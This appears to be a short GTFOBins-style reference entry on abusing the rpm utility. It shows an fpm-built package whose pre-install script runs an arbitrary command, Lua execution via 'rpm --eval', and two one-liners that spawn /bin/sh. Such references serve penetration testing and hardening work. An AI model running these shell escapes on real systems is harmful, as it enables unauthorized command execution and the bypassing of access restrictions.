rpm

Command Execution

Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` echo /path/to/command >x.sh fpm -n x -s dir -t rpm -a all --before-install x.sh . ```

rpm -ivh x-1.0-1.noarch.rpm

Inherit

This allows to run Lua code (`...`).

rpm --eval '%{lua:...}'

Shell

rpm --eval '%(/bin/sh 1>&2)'
rpm --pipe '/bin/sh 0<&1'